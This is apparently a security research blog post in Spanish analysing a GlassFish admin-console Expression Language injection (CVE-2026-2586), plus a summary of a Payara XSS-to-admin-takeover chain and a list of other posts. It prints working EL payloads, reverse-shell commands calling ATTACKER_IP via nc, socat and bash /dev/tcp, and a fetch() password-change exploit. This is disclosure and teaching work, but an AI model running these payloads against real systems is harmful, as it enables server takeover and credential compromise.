CVE-2026-2586: Remote Code Execution en GlassFish Admin Console

Gabriel Hinostroza • June 11, 2026
Un fondo blanco con algunas líneas.

Un parámetro diseñado para mostrar mensajes de estado terminó siendo procesado por el motor de Expression Language del servidor. En la práctica, esto permitió convertir alertSummary y alertDetail en vectores de ejecución remota de comandos dentro de la consola administrativa de GlassFish.

Análisis rápido


Durante el análisis de la consola administrativa de Eclipse GlassFish, se identificó que los parámetros     alertSummary     y    alertDetail     , utilizados para mostrar mensajes de estado después de guardar una configuración, podían ser procesados como expresiones del lado del servidor.


La vulnerabilidad fue corregida en GlassFish 8.0.2:
https://github.com/eclipse-ee4j/glassfish/releases/tag/8.0.2


El problema no estaba en que el dato se reflejara en la respuesta, sino en lo que ocurría después: esos valores volvían a pasar por el motor de Expression Language del servidor. Con la sintaxis correcta, era posible invocar   java.lang.Runtime     y ejecutar comandos arbitrarios bajo el contexto del proceso de GlassFish.


En la práctica, un usuario autenticado en el panel podía abusar de este comportamiento para obtener ejecución remota de comandos a partir de un parámetro originalmente diseñado para mostrar mensajes de estado, como     "New values successfully saved." .

EL Injection — el punto de entrada


La consola web de GlassFish expone un endpoint utilizado para editar la configuración de los virtual servers. Después de guardar una configuración, la consola redirige al usuario mostrando un mensaje de alerta controlado por parámetros incluidos en la URL.


GET /web/configuration/virtualServerEdit.jsf

?name=server&configName=server-config&alertType=success

&alertSummary=New+values+successfully+saved.  ← vector de inyección

&alertDetail=&bare=true  HTTP/1.1

Host: panel.example.com:4848


A simple vista,     alertSummary   parece un parámetro destinado únicamente a mostrar un mensaje en la interfaz. Sin embargo, el valor no se limitaba a la capa de presentación: era reutilizado internamente en un contexto donde el motor de Expression Language podía evaluarlo como una expresión del lado del servidor.


De esta forma, el mismo parámetro que en un flujo normal contenía el texto     "New values successfully saved."   podía ser reemplazado por una expresión EL maliciosa para ejecutar comandos bajo el contexto del proceso de GlassFish.

La causa raíz por qué el parámetro ejecuta código


La consola de GlassFish utiliza jsftemplating , un motor de plantillas capaz de procesar expresiones del lado del servidor mediante la sintaxis #{...} de Expression Language (EL). El problema era que el valor de alertSummary   volvía a pasar por ese motor antes de renderizarse, permitiendo que una entrada controlada por el usuario fuera interpretada como una expresión EL válida.


Esto hacía posible construir expresiones capaces de acceder a clases Java mediante la API de Reflection, incluyendo java.lang.Runtime , lo que abría el camino a la ejecución de comandos del sistema operativo.


GlassFish sí aplicaba sanitización: el parámetro pasaba por htmlEscape() antes de mostrarse en la interfaz. Sin embargo, esa protección estaba orientada al contenido interpretado por el navegador, no al contexto donde el dato era procesado por el motor de Expression Language.


En otras palabras, htmlEscape() podía neutralizar etiquetas HTML, pero no la sintaxis #{...} evaluada del lado del servidor. La defensa existía, pero fue aplicada en la capa equivocada.

Construcción del exploit


Confirmar la evaluación de Expression Language fue solo el primer paso. El reto principal era construir un payload que atravesara correctamente varias capas de procesamiento: la URL, el motor de EL,   Runtime.exec(String)   , el manejo de streams del servidor y la interpretación final por Bash.


Cada capa imponía una restricción distinta, por lo que la explotación requería algo más que ejecutar un comando: la carga debía llegar completa, mantenerse estable y ser interpretada en el contexto correcto.

Confirmación de ejecución


Para confirmar la ejecución remota de comandos sin depender de la respuesta HTTP, se utilizó un canal externo: un listener de red esperando paquetes ICMP.


#{' '.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('ping -c 3 ATTACKER_IP')}


Los paquetes ICMP llegaron correctamente al listener, confirmando que el servidor ejecutaba comandos del sistema operativo. Sin embargo, la salida del comando no aparecía en la respuesta HTTP, por lo que la explotación debía continuar de forma ciega.


Este primer payload funcionó porque   ping -c 3 ATTACKER_IP   es un comando simple, compuesto por tokens sin caracteres especiales de shell.   Runtime.exec(String)   puede dividirlo y ejecutarlo directamente, sin requerir un intérprete como Bash ni redirección de streams.

Conflicto con el OutputStream de la respuesta HTTP


#{new java.util.Scanner(Runtime.getRuntime().exec('id').getInputStream()).next()}


Resultado:

java.lang.IllegalStateException: getOutputStream() has already been called


El error reveló una restricción importante del flujo de ejecución: GlassFish ya mantenía asociado un     OutputStream para construir la respuesta HTTP enviada al cliente. Al intentar leer la salida del proceso ejecutado y devolverla dentro de esa misma respuesta, el payload entraba en conflicto con el manejo interno de streams del servidor.

Restricciones de ejecución y construcción del payload


Durante las pruebas, la ejecución de comandos simples confirmó que el servidor procesaba correctamente la expresión EL. Sin embargo, obtener una shell interactiva requería atravesar varias restricciones adicionales impuestas por la forma en que Java crea procesos desde     Runtime.exec(String) .


.exec('nc -e /bin/sh ATTACKER_IP 443')


Este enfoque no permitió obtener una shell funcional. En este punto, el problema ya no era ejecutar comandos, sino conseguir una redirección estable de     stdin   ,     stdout     y     stderr     hacia el socket. Una shell interactiva necesita que la entrada y salida del proceso hijo queden conectadas correctamente al canal de red; si esa redirección no se establece de forma limpia, el proceso puede cerrarse o quedar sin una sesión utilizable.


Con      socat     el resultado fue distinto:

.exec('socat TCP:ATTACKER_IP:443 EXEC:/bin/sh')


socat, al estar escrito en C, crea el socket, lanza el proceso hijo y gestiona la redirección de entrada/salida desde su propio contexto, sin depender de los streams de Java. Esta prueba confirmó que el problema no era ejecutar comandos, sino quién gestionaba la redirección de I/O. Mientras esa redirección dependiera del contexto de Java, fallaba; cuando la gestionaba un proceso externo, funcionaba.


Sin embargo,       socat       no suele estar instalado por defecto en servidores Linux. Por eso, el payload final debía apoyarse en utilidades más comunes, principalmente       bash     y       base64 .


El siguiente intento fue usar una reverse shell clásica con       bash -c :


.exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"')


El problema estaba en     Runtime.exec(String)   : Java divide el comando por espacios antes de crear el proceso, por lo que las comillas no se respetan como en una terminal. Como resultado, el argumento de     bash -c   llegaba fragmentado y la redirección     >&   no era interpretada correctamente por Bash.


Para resolverlo, se utilizó     brace expansion   de Bash. En Bash,     {comando,argumento}   se expande como     comando argumento   , pero permite representarlo sin escribir espacios explícitos en partes críticas de la cadena.


{echo,PAYLOAD}


Esto permitió construir una cadena más estable:


bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}


De esta forma, Java conserva el bloque crítico sin romperlo, y Bash lo reconstruye al momento de ejecutarlo. La carga se imprime, se decodifica con     base64 -d   y finalmente se interpreta dentro de una sesión Bash interactiva.


El último problema estaba en la URL. Una reverse shell tradicional incluye caracteres como     >   ,     &   y espacios, los cuales pueden alterar la estructura de la query string y romper el payload antes de que llegue completo al servidor. Por eso, la carga real se codificó en Base64.

#{''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('bash+-c+{echo,<PAYLOAD_BASE64>}|{base64,-d}|{bash,-i}')}


Con esto, la URL transporta una cadena limpia, Java no interpreta directamente la redirección y Bash reconstruye el comando final dentro de su propio proceso.

Conclusión


La falla no estaba únicamente en que alertSummary   y alertDetail   fueran controlables por el usuario, sino en que esos valores eran reutilizados en un contexto donde el motor de Expression Language podía evaluarlos del lado servidor. Aunque existía htmlEscape() , esa protección estaba orientada al navegador y no al contexto real donde el dato terminaba siendo procesado.


En este caso, una defensa válida aplicada en la capa equivocada permitió transformar un mensaje de alerta en ejecución remota de comandos. La lección principal es clara: una entrada no debe considerarse segura solo porque fue escapada para HTML; si después será interpretada por otro motor, parser o capa de ejecución, debe neutralizarse específicamente para ese contexto.

Recursos


PoC:

https://github.com/DeepSecurityResearch/CVE-2026-2586


Corrección en GlassFish 8.0.2:
https://github.com/eclipse-ee4j/glassfish/releases/tag/8.0.2


El repositorio contiene el código de validación utilizado durante la investigación de CVE-2026-2586, incluyendo el flujo de autenticación, la construcción del payload y la ejecución controlada contra instancias vulnerables de GlassFish.


La publicación del PoC tiene fines de investigación, documentación técnica y validación defensiva. Su uso debe limitarse exclusivamente a laboratorios, sistemas propios o entornos donde exista autorización explícita.


24 de marzo de 2026
Análisis rápido Durante una revisión de la interfaz REST de administración de Payara Server se identificó una cadena de explotación en la que un XSS reflejado podía combinarse con un flujo inseguro de cambio de contraseña para derivar en takeover completo de la cuenta administrator. La severidad real del caso no estaba en una sola falla, sino en la forma en que varias decisiones de diseño reducían la resistencia del panel frente a ejecución de JavaScript en el mismo origen. El impacto no dependía únicamente del XSS. La cadena se volvía crítica por la combinación de cuatro elementos: - XSS reflejado en un endpoint administrativo - Cambio de contraseña sin validar la contraseña actual - Basic Auth enviada automáticamente por el navegador - Protección anti-CSRF débil basada en X-Requested-By En conjunto, esto permitía que un administrador autenticado, al visitar un enlace malicioso, terminara ejecutando una solicitud válida contra el endpoint de cambio de contraseña. Por esta vulnerabilidad me asignaron el CVE-2025-14340 XSS y el punto de entrada El primer componente era un XSS reflejado en el endpoint de versión de la consola: GET /management/domain/version?xss= HTTP/1.1 Host: panel.example.com:4848 En una consola de este tipo, un XSS no solo afecta la vista del usuario. También permite interactuar con funciones sensibles usando el mismo contexto autenticado del administrador. El CSRF que convierte el bug en takeover El segundo componente estaba en /management/domain/change-admin-password . De forma resumida, el flujo aceptaba una solicitud similar a esta: POST /management/domain/change-admin-password HTTP/1.1 Host: panel.example.com:4848 X-Requested-By: GlassFish REST HTML interface Content-Type: application/x-www-form-urlencoded id=admin&newpassword=[REDACTED]&password=[REDACTED] Lo problemático no era solo que cambiara credenciales, sino dos agravantes de diseño: No exigía la contraseña actual La “protección” anti-CSRF se basaba en X-Requested-By . Ese header funcionaba como una cabecera personalizada para marcar que la solicitud provenía del frontend esperado. El problema es que no era un control fuerte frente a JavaScript malicioso ejecutándose same-origin . ¿Header X-Requested-By ? X-Requested-By era, en la práctica, la señal que el backend utilizaba para distinguir una solicitud “esperada” de una solicitud arbitraria. La lógica era simple: si la request incluía la cabecera esperada, el servidor la trataba como legítima. Ese enfoque puede frenar algunos intentos externos básicos, pero deja de ser útil cuando un atacante consigue ejecutar JavaScript dentro del mismo origen de la consola. A nivel práctico, el comportamiento observado podía resumirse en un payload como la siguiente POC . fetch ( '/management/domain/change-admin-password' , { method: 'POST' , headers: { 'X-Requested-By' : 'GlassFish REST HTML interface' , 'Content-Type' : 'application/x-www-form-urlencoded' }, body: 'id=admin&newpassword=admin123&password=admin123' }); Y ahí aparecía el punto crítico de la cadena: el backend aceptaba una solicitud con la cabecera esperada, mientras el navegador adjuntaba automáticamente las credenciales administrativas mediante Basic Auth. https://panel.example.com:4848/management/domain/version?xss Full exploit: https://github.com/DeepSecurityResearch/CVE-2025-14340 Explotación y Same-Origin La explotación no dependía de una petición cross-origin convencional, sino de la ejecución de JavaScript dentro del mismo origen de la consola administrativa. ¿Por qué el CSRF solo es explotable mediante el XSS? Debido a que el endpoint usa Basic Authentication, explotarlo remotamente desde un origen externo es imposible: - CORS bloquea requests cross-origin al endpoint de administración - Basic Auth no puede forzarse desde otro dominio sin cooperación del navegador - El header X-Requested-By no puede añadirse en requests cross-origin Ese detalle era determinante. Una vez obtenido el XSS, el atacante podía interactuar con el endpoint de cambio de contraseña desde el mismo contexto que la interfaz legítima, incluyendo X-Requested-By y aprovechando el estado autenticado del administrador. En ese punto, el XSS dejaba de ser un hallazgo aislado y se convertía en la primitive necesaria para comprometer directamente la cuenta administrativa. Vectores de ataque Campaña de Phishing Dirigido Un atacante envía un email convincente con apariencia de "actualización de seguridad" que contiene el enlace malicioso. Cuando el administrador hace clic mientras está logueado, la contraseña se cambia silenciosamente. Watering Hole El atacante compromete un sitio interno frecuentemente visitado e inyecta un iframe invisible con el exploit. Al visitar el sitio, el exploit se ejecuta automáticamente en segundo plano sin indicación visible. Supply Chain Un atacante compromete la documentación de una herramienta usada por el equipo de operaciones. Al seguir un enlace de la documentación para troubleshooting, la cuenta queda comprometida. Capacidades del Atacante con acceso a la consola de administración: - Desplegar aplicaciones maliciosas (WAR/EAR files) - Modificar configuración del servidor - Acceder a datos de aplicaciones desplegadas - Crear mecanismos de persistencia - Extraer credenciales de datasources Conclusión CVE-2025-14340 demuestra cómo vulnerabilidades moderadas se convierten en críticas cuando se encadenan. Un XSS reflejado (severidad media) combinado con ausencia de protección CSRF (severidad baja-media) resultó en account takeover completo de administrador. La falla no residía únicamente en el XSS reflejado, sino en la forma en que esa primitive podía encadenarse con una operación sensible insuficientemente protegida. En este caso, el resultado final era claro: un XSS en contexto administrativo terminaba habilitando el takeover completo del administrador. Nota sobre el Coordinated Disclosure Esta vulnerabilidad fue reportada siguiendo prácticas de divulgación responsable. El período de coordinación de 113 días permitió al vendor desarrollar y desplegar un fix antes de la divulgación pública. Sin embargo, el proceso presentó desafíos. A pesar del compromiso inicial del vendor de coordinar la publicación del CVE y asegurar la atribución apropiada, la comunicación fue inconsistente. El CVE fue publicado sin la notificación prometida y sin la atribución acordada, situación que se corrigió posteriormente tras solicitarlo. Esta experiencia subraya la importancia de:  Políticas claras de disclosure Comunicación proactiva durante el proceso Respeto a los acuerdos de atribución Documentación exhaustiva de todas las interacciones
Gráfico oscuro con
por Camilo Galdos 4 de marzo de 2026
Análisis Rápido: XSS en Wayback Machine CVE-2025-58765
por Camilo Galdos 20 de febrero de 2026
 Introspecto r es un framework ofensivo diseñado para analizar y explotar comportamientos HTTP avanzados que ocurren “fuera” de la respuesta inmediata desde el servidor web (OOB - out of band). Más allá de un simple request/response, el objetivo es reconstruir la ruta de ejecución completa de un payload incluyendo patrones de redirección, resoluciones DNS, ejecución de solicitudes encadenadas y seguimiento de recursos servidos por el backend. En escenarios reales, muchas vulnerabilidades críticas no se manifiestan en el HTML de salida (response), sino en la infraestructura intermedia y el comportamiento del backend: balanceadores, reverse proxies, WAFs, CDN, resolvers DNS, caches, microservicios internos y clientes HTTP automatizados . Introspector está diseñado para capturar ese “lado invisible” del flujo, registrando redirecciones, reintentos, resoluciones DNS, follow-ups automáticos, y solicitudes encadenadas que pueden ocurrir segundos después y en hosts completamente distintos. Fue creada por el equipo de research de DeepSecurity específicamente para ir más allá de Burp Collaborator , permitiendo observar no solo si existe interacción OOB, sino cómo ocurre , qué componente la dispara, qué endpoint exacto la origina y qué cadena de ejecución se activa después (DNS, redirects, retries, fetches secundarios, etc.). En la práctica, Introspector ha sido utilizado tanto en proyectos con clientes como en iniciativas de research y bug bounty , sirviendo como base para hallazgos reales y reportes públicos, incluyendo Blind SSRF en Microsoft Ads , Host Header Injection + DoS en Microsoft , y vulnerabilidades CVE 2025 - 2026 reportadas responsablemente a plataformas como GlassFish y Payara . ¿Por qué usar Introspector en un pentest avanzado? Este tipo de visibilidad es clave para explotar y validar vulnerabilidades modernas como: SSRF (incluyendo SSRF ciego y SSRF con pivot a redes internas) Host Header Injection (en especial cuando la app construye URLs absolutas para resets de password, links de verificación, callbacks, etc.) Comportamientos anómalos en balanceadores / proxies (reescritura de Host, X-Forwarded-Host, X-Forwarded-Proto, Forwarded) HTTP Request Smuggling (cuando el front-end y back-end interpretan distinto Content-Length / Transfer-Encoding) Vulnerabilidades HTTP basadas en headers (cache poisoning, routing inconsistencies, internal URL generation, open redirect indirecto)
por Camilo Galdos 30 de agosto de 2025
¿Qué es Host Header Injection?
por Camilo Galdos 24 de julio de 2025
Server-Side Request Forgery para Pentesters
Un fondo azul con dos manos y las palabras
4 de septiembre de 2023
¿Por qué se siguen reportando incidentes en los Smart Contracts? Hay varias razones por las que los smart contracts siguen siendo un objetivo para un actor de amenaza, aca les mencionamos las principales.
Una langosta verde en una rama, y el mensaje de pruebas de penetración vs bug bounty
8 de agosto de 2023
Los programas de bug bounty (recompensas por errores) y penetration testing (pruebas de penetración son dos enfoques distintos para las pruebas de seguridad, cada uno con sus propios beneficios y consideraciones. Si bien algunos pueden verlos como métodos opuestos, en realidad pueden funcionar en conjunto para mejorar la postura de seguridad de una organización. Es importante comprender las diferencias entre los dos y evaluar qué enfoque se alinea mejor con las metas, el objetivo y los recursos específicos de la organización.
Un mapa azul de América del Sur tiene un fondo azul oscuro.
por DeepSecurity 24 de junio de 2020
SMBGhost (CVE-2020-0796) es una vulnerabilidad de ejecución remota de código, no autenticada, en Microsoft Server Message Block 3.1.1 (SMBv3). La vulnerabilidad sólo requiere que el puerto 445 esté abierto, y un atacante podría conectarse y ejecutar comandos sin necesidad de tener usuario o contraseña.
Un virus azul sobre fondo negro con las palabras reporte de ciberinteligencia
por DeepSecurity 1 de junio de 2020
Durante nuestras investigaciones de ciberinteligencia encontramos un grupo en Telegram donde se mencionan distintos temas desde hacking de aplicaciones web hasta robo de tarjetas (carding). Encontramos que algunos de los 550 ciberdelincuentes miembros de este grupo publicaban información sobre un fallo en la web del bono universal que permitía apropiarse del bono de los beneficiarios.
Una estatua de un oso está comiendo una hoja sobre un fondo negro.
por DeepSecurity 21 de mayo de 2020
El último año ha sido clave para la expansión digital de los bancos peruanos. Se han lanzado al mercado todo tipo de utilidades y aplicaciones que ayudan a las personas a gestionar su dinero de una manera más fácil. En DeepSecurity, nos preocupamos por la ciberseguridad del sistema financiero local y por eso hemos llevado a cabo un análisis pasivo (no-intrusivo) de las aplicaciones móviles de 12 bancos del Perú.